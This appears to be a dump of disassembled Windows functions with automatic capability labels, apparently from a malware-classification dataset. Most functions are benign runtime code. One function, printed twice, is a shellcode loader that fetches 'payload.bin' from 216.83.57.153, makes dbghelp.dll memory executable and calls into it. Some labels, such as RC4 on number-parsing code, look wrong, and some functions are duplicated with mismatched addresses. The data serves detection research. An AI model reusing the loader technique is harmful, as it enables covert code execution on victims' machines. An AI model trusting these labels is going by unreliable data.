joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ea0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403040
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403040
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x401f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x0045c614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x4020b8
mov rax, qword [0x0045c618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401f5c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401fe7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401f40
mov rcx, r12
call fcn.00402c70
mov rbp, rax
test rax, rax
je 0x4020f2
mov rax, qword [0x0045c618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00402da0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0045c618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402101
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401fe0
sub eax, 4
and eax, 0xfffffffb
jne 0x402070
add dword [0x0045c614], 1
cmp ebx, 8
jae 0x402018
test bl, 4
jne 0x4020c0
test ebx, ebx
je 0x402009
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x4020e0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x402009
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40204a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x0045c618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401fe0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401ea0
nop dword [rax]
xor edi, edi
jmp 0x401f67
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x402009
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x402009
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401ea0
mov rax, qword [0x0045c618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401ea0
nop
nop dword [rax]
Function at 0x4028e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0045c900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0045c8e0]
test rbx, rbx
je 0x402934
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40292b
test r12, r12
je 0x40292b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402910
lea rcx, [0x0045c900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402c70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004590d0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402ce9
mov rcx, r10
call fcn.00402b40
test eax, eax
je 0x402ce9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402ce6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402cdd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402ce9
add r8, 0x28
cmp r8, r9
jne 0x402cc8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400011ea
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140001cc0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov rdi, rsp
movabs rcx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
mov rcx, qword [rcx]
call fcn.14000121c
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001d0f
xor eax, eax
jmp 0x140001e0a
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.216.83.57.153
lea rcx, [rsp + 0xa8]
call fcn.140001253
lea rdi, [rsp + 0xb8]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x98]
lea rsi, [rsp + 0xb8]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x38]
lea rsi, [rsp + 0x98]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x38], 0
je 0x140001e08
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140001de6
mov rcx, qword [rsp + 0x58]
add rcx, 0x1000
lea r9, [rsp + 0x64]
mov r8d, 0x40
mov rdx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x58]
add rdi, 0x1000
mov rsi, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x38]
call fcn.140007dc0
mov rax, qword [rsp + 0x58]
add rax, 0x1000
call rax
jmp 0x140001e08
lea r9, [rsp + 0x84]
mov r8d, 0x20
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x38]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140076170]
call fcn.140006f40
mov rax, rdi
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x140001cc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140001cc0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov rdi, rsp
movabs rcx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
mov rcx, qword [rcx]
call fcn.14000121c
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1c
jbe 0x140001d0f
xor eax, eax
jmp 0x140001e0a
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.216.83.57.153
lea rcx, [rsp + 0xa8]
call fcn.140001253
lea rdi, [rsp + 0xb8]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x98]
lea rsi, [rsp + 0xb8]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x38]
lea rsi, [rsp + 0x98]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x38], 0
je 0x140001e08
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140001de6
mov rcx, qword [rsp + 0x58]
add rcx, 0x1000
lea r9, [rsp + 0x64]
mov r8d, 0x40
mov rdx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x58]
add rdi, 0x1000
mov rsi, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x38]
call fcn.140007dc0
mov rax, qword [rsp + 0x58]
add rax, 0x1000
call rax
jmp 0x140001e08
lea r9, [rsp + 0x84]
mov r8d, 0x20
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x38]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140076170]
call fcn.140006f40
mov rax, rdi
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x14000a147
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14008d0d0]
jne 0x140006f3a
rol rcx, 0x10
test cx, 0xffff
jne 0x140006f36
repz ret
ror rcx, 0x10
jmp 0x14000a0a0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008ed30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008ee28]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000a125
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008ed30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000a147
mov rax, qword [rsp + 0x88]
mov qword [0x14008ee28], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008edc8], rax
mov rax, qword [0x14008ee28]
mov qword [0x14008eca0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008edb0], rax
mov dword [0x14008ec90], 0xc0000409
mov dword [0x14008ec94], 1
mov rax, qword [0x14008d0d0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14008d0d8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008ed28], eax
mov ecx, 1
call fcn.140013e00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400780f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008ed28], 0
jne 0x14000a1ce
mov ecx, 1
call fcn.140013e00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140003910
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x468
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], 0xfffffffffffffffe
mov qword [rbp + 0x3d8], rcx
xor ebx, ebx
lea rcx, [rbp - 0x58]
mov r8d, 0x400
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x3c0], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
mov esi, 0x200
mov r13d, 2
cmp rsi, 0x201
jae 0x140003992
jmp 0x1400039e0
mov rsi, r8
jae 0x140003a3d
cmp rsi, 0x201
jb 0x1400039e0
mov r8, rsi
sub r8, rbx
mov rax, qword [rbp + 0x3c8]
sub rax, rbx
cmp rax, r8
jae 0x1400039bd
lea rcx, [rbp + 0x3c0]
mov rdx, rbx
call fcn.14001a000
mov r13, qword [rbp + 0x3c0]
mov qword [rbp + 0x3d0], rsi
mov rbx, rsi
mov r15, r13
mov r14, rsi
mov r12, r13
jmp 0x1400039ed
lea r12, [rbp - 0x58]
mov r15, r12
mov r14d, 0x200
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, esi
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x140003a10
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140003a85
mov r8d, edi
cmp rsi, r8
jne 0x140003980
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140003adc
add rsi, rsi
cmp rsi, 0x201
jae 0x140003992
jmp 0x1400039e0
cmp r14, r8
jb 0x140003af6
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.1400050b0
mov rax, qword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d8]
mov qword [rsi + 0x18], rax
movups xmm0, xmmword [rbp + 0x3a8]
movups xmmword [rsi + 8], xmm0
xor eax, eax
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3c8]
test rdx, rdx
jne 0x140003ab2
jmp 0x140003ac5
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d8]
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3c8]
test rdx, rdx
je 0x140003ac5
add rdx, rdx
je 0x140003ac5
mov r8d, 2
mov rcx, r13
call fcn.140001090
mov rax, rsi
add rsp, 0x468
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_4b91a6ea7258a947e59c6522cd5898e7c0a6a88flibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14001a920
jmp 0x140003b0b
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14001ab80
ud2
Function at 0x140013bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov dword [rsp + 0x2c], r8d
lea eax, [r8 - 2]
cmp eax, 0x22
ja 0x140013d7a
mov r9, rdx
mov edx, 1
test r9, r9
je 0x140013bec
mov al, byte [rcx]
cmp al, 0x2d
je 0x140013bf4
cmp al, 0x2b
jne 0x140013c05
add r9, 0xffffffffffffffff
je 0x140013bfa
add rcx, 1
jmp 0x140013c05
xor r10d, r10d
jmp 0x140013d62
cmp r9, 1
jne 0x140013c05
mov r10d, 0x100
jmp 0x140013d62
cmp r8d, 0x10
ja 0x140013c6d
cmp r9, 9
jae 0x140013c6d
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140013cdb
mov r11d, 0xffffffff
xor edx, edx
xor eax, eax
jmp 0x140013c43
imul eax, r8d
add eax, edi
add rdx, 1
cmp r9, rdx
je 0x140013d3a
movzx esi, byte [rcx + rdx]
lea edi, [rsi - 0x30]
cmp edi, 9
jbe 0x140013c30
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
mov edi, esi
cmp esi, r8d
jb 0x140013c30
mov edx, 0x101
jmp 0x140013d56
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140013d04
mov r11d, 0xffffffff
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx esi, byte [rcx + r10]
mul r8d
seto dl
lea edi, [rsi - 0x30]
mov ebx, 1
cmp edi, 0xa
jb 0x140013cbf
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
xor ebx, ebx
cmp esi, r8d
setb bl
mov edi, esi
test ebx, ebx
sete bl
or dl, bl
jne 0x140013d3e
add eax, edi
jb 0x140013d51
add r10, 1
cmp r9, r10
jne 0x140013c90
jmp 0x140013d37
xor edx, edx
xor eax, eax
nop
movzx ebx, byte [rcx + rdx]
lea edi, [rbx - 0x30]
cmp edi, r8d
jae 0x140013c63
imul eax, r8d
add eax, ebx
add eax, 0xffffffd0
add rdx, 1
cmp r9, rdx
jne 0x140013ce0
jmp 0x140013d3a
xor eax, eax
nop word cs:[rax + rax]
movzx edi, byte [rcx + r10]
mul r8d
seto dl
add edi, 0xffffffd0
cmp edi, r8d
setae bl
jae 0x140013d3e
test dl, dl
jne 0x140013d3e
add eax, edi
jb 0x140013d51
add r10, 1
cmp r9, r10
jne 0x140013d10
xor r10d, r10d
xor edx, edx
jmp 0x140013d62
xor bl, 1
movzx edx, bl
shl rdx, 8
add rdx, 0x101
jmp 0x140013d56
mov edx, 0x201
mov r10d, edx
and r10d, 0x300
xor eax, eax
shl rax, 0x20
or rax, r10
movzx ecx, dl
or rcx, rax
mov rax, rcx
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140018c40]
mov qword [rsp + 0x38], rax
lea rax, str.from_str_radix_int:_must_lie_in_the_range___2__36_____found
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.librarycore_src_nummod.rs
lea rcx, [rsp + 0x40]
call fcn.14001aa90
ud2
jmp 0x140013bb0
Function at 0x140017f80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test r8, r8
je 0x140017ffa
mov r11, qword [rsp + 0x70]
mov ebp, ecx
shr ebp, 8
lea r8, [rdx + r8*2]
xor eax, eax
mov rbx, rdx
movzx edi, byte [rdx + 1]
add rdx, 2
lea r10, [rax + rdi]
cmp byte [rbx], bpl
jne 0x140017ff0
cmp r10, rax
jb 0x14001808d
cmp r10, r11
ja 0x14001809a
add rax, r9
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x140017ff2
lea rsi, [rbx + 1]
cmp byte [rax + rbx], cl
mov rbx, rsi
jne 0x140017fd0
jmp 0x140018062
ja 0x140017ffa
mov rax, r10
cmp rdx, r8
jne 0x140017f9d
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140018066
mov rbx, qword [rsp + 0x78]
add rdx, rbx
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
nop
lea rsi, [rbx + 1]
movzx edi, byte [rbx]
test dil, dil
js 0x140018040
mov rbx, rsi
sub ecx, edi
jns 0x140018059
jmp 0x140018068
cmp rsi, rdx
je 0x140018073
and edi, 0x7f
shl edi, 8
movzx ebp, byte [rbx + 1]
add rbx, 2
or edi, ebp
sub ecx, edi
js 0x140018068
xor al, 1
cmp rbx, rdx
jne 0x140018020
jmp 0x140018068
xor eax, eax
jmp 0x140018068
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value:
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14001a920
ud2
mov rcx, rax
mov rdx, r10
call fcn.14001ab90
ud2
mov rcx, r10
mov rdx, r11
call fcn.14001ab80
ud2
Function at 0x1400182a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov dword [rsp + 0x2c], r8d
lea eax, [r8 - 2]
cmp eax, 0x22
ja 0x140013d7a
mov r9, rdx
mov edx, 1
test r9, r9
je 0x140013bec
mov al, byte [rcx]
cmp al, 0x2d
je 0x140013bf4
cmp al, 0x2b
jne 0x140013c05
add r9, 0xffffffffffffffff
je 0x140013bfa
add rcx, 1
jmp 0x140013c05
xor r10d, r10d
jmp 0x140013d62
cmp r9, 1
jne 0x140013c05
mov r10d, 0x100
jmp 0x140013d62
cmp r8d, 0x10
ja 0x140013c6d
cmp r9, 9
jae 0x140013c6d
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140013cdb
mov r11d, 0xffffffff
xor edx, edx
xor eax, eax
jmp 0x140013c43
imul eax, r8d
add eax, edi
add rdx, 1
cmp r9, rdx
je 0x140013d3a
movzx esi, byte [rcx + rdx]
lea edi, [rsi - 0x30]
cmp edi, 9
jbe 0x140013c30
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
mov edi, esi
cmp esi, r8d
jb 0x140013c30
mov edx, 0x101
jmp 0x140013d56
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140013d04
mov r11d, 0xffffffff
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx esi, byte [rcx + r10]
mul r8d
seto dl
lea edi, [rsi - 0x30]
mov ebx, 1
cmp edi, 0xa
jb 0x140013cbf
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
xor ebx, ebx
cmp esi, r8d
setb bl
mov edi, esi
test ebx, ebx
sete bl
or dl, bl
jne 0x140013d3e
add eax, edi
jb 0x140013d51
add r10, 1
cmp r9, r10
jne 0x140013c90
jmp 0x140013d37
xor edx, edx
xor eax, eax
nop
movzx ebx, byte [rcx + rdx]
lea edi, [rbx - 0x30]
cmp edi, r8d
jae 0x140013c63
imul eax, r8d
add eax, ebx
add eax, 0xffffffd0
add rdx, 1
cmp r9, rdx
jne 0x140013ce0
jmp 0x140013d3a
xor eax, eax
nop word cs:[rax + rax]
movzx edi, byte [rcx + r10]
mul r8d
seto dl
add edi, 0xffffffd0
cmp edi, r8d
setae bl
jae 0x140013d3e
test dl, dl
jne 0x140013d3e
add eax, edi
jb 0x140013d51
add r10, 1
cmp r9, r10
jne 0x140013d10
xor r10d, r10d
xor edx, edx
jmp 0x140013d62
xor bl, 1
movzx edx, bl
shl rdx, 8
add rdx, 0x101
jmp 0x140013d56
mov edx, 0x201
mov r10d, edx
and r10d, 0x300
xor eax, eax
shl rax, 0x20
or rax, r10
movzx ecx, dl
or rcx, rax
mov rax, rcx
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140018c40]
mov qword [rsp + 0x38], rax
lea rax, str.from_str_radix_int:_must_lie_in_the_range___2__36_____found
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.librarycore_src_nummod.rs
lea rcx, [rsp + 0x40]
call fcn.14001aa90
ud2
jmp 0x140013bb0
Function at 0x140003490
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140177090]
xor rax, rsp
mov qword [rbp + 0x27], rax
movsxd rbx, r8d
mov r14, rdx
mov rdi, rcx
mov qword [rbp - 0x41], rcx
xor esi, esi
mov dword [rbp - 0x49], esi
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
test rdx, rdx
je 0x1400035ef
test r8d, r8d
jle 0x1400035ef
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movdqa xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x11], rsi
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
lea r15, [0x140000000]
lea rax, [r15 + 0x14c110]
mov qword [rbp - 0x39], rax
lea edx, [rsi + 0x10]
lea rcx, [rbp - 0x31]
call fcn.140009b80
nop
lea rax, [r15 + 0x14c2d8]
mov qword [rbp - 0x39], rax
lea edx, [rsi + 8]
lea rcx, [rbp - 0x19]
call fcn.140009b80
mov rax, qword [rbp - 9]
mov dword [rax], 0x6a09e667
mov dword [rax + 4], 0xbb67ae85
mov dword [rax + 8], 0x3c6ef372
mov dword [rax + 0xc], 0xa54ff53a
mov dword [rax + 0x10], 0x510e527f
mov dword [rax + 0x14], 0x9b05688c
mov dword [rax + 0x18], 0x1f83d9ab
mov dword [rax + 0x1c], 0x5be0cd19
lea rax, [r15 + 0x14c3c0]
mov qword [rbp - 0x39], rax
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x39]
call fcn.14000a060
mov rax, qword [rbp - 0x39]
mov rbx, qword [rax + 0x60]
lea rcx, [rbp - 0x39]
call qword [rax + 0x28]
mov r8d, eax
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call rbx
nop
mov rbx, qword [rbp - 9]
mov r8, qword [rbp - 0x11]
lea r8, [r8*4]
xor edx, edx
mov rcx, rbx
call fcn.1400ec680
mov rcx, rbx
call fcn.1400e9d84
mov rbx, qword [rbp - 0x21]
mov r8, qword [rbp - 0x29]
lea r8, [r8*4]
xor edx, edx
mov rcx, rbx
call fcn.1400ec680
mov rcx, rbx
call fcn.1400e9d84
nop
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov dword [rbp - 0x49], 2
mov r14d, gethostname
nop dword [rax + rax]
movzx ebx, byte [rbp + rsi + 7]
movzx eax, bl
shr al, 4
mov ecx, 0x30
cmp al, 0xa
cmovae ecx, r14d
add cl, al
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
cmp rdx, r8
jae 0x140003653
lea rax, [rdx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp r8, 0x10
jb 0x140003649
mov rax, qword [rdi]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000365f
movzx r9d, cl
mov rcx, rdi
call fcn.14000b210
and bl, 0xf
mov eax, 0x30
cmp bl, 0xa
cmovae eax, r14d
add al, bl
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
cmp rdx, r8
jae 0x14000369b
lea rcx, [rdx + 1]
mov qword [rdi + 0x10], rcx
mov rcx, rdi
cmp r8, 0x10
jb 0x140003691
mov rcx, qword [rdi]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x1400036a7
movzx r9d, al
mov rcx, rdi
call fcn.14000b210
inc rsi
cmp rsi, 0x20
jl 0x140003610
mov rax, rdi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400e9d60
mov rbx, qword [rsp + 0xe8]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400041d0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rbx, rcx
xor r12d, r12d
mov qword [rcx], r12
mov qword [rcx + 8], r12
mov byte [rcx + 0x10], r12b
lea rsi, [rcx + 0x18]
mov qword [rsi], r12
lea r14, [rcx + 0x20]
mov qword [r14], r12
lea edx, [r12 + 2]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x140004228
cmp eax, 0x80010106
jne 0x140004398
jmp 0x14000422c
mov byte [rbx + 0x10], 1
mov qword [rsp + 0x20], rsi
lea r9, [0x14013d440]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x14013d430]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140004388
mov r15, qword [rsi]
mov rax, qword [r15]
mov rbp, qword [rax + 0x18]
mov ecx, 0x18
call fcn.1400e9d8c
mov rdi, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x14000429f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov qword [rdi + 8], r12
mov dword [rdi + 0x10], 1
lea rcx, str.ROOTCIMV2
call fcn.1400e9a30
mov qword [rdi], rax
jmp 0x1400042a2
mov rdi, r12
mov qword [rsp + 0x88], rdi
test rdi, rdi
je 0x1400043b4
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rdi]
mov rcx, r15
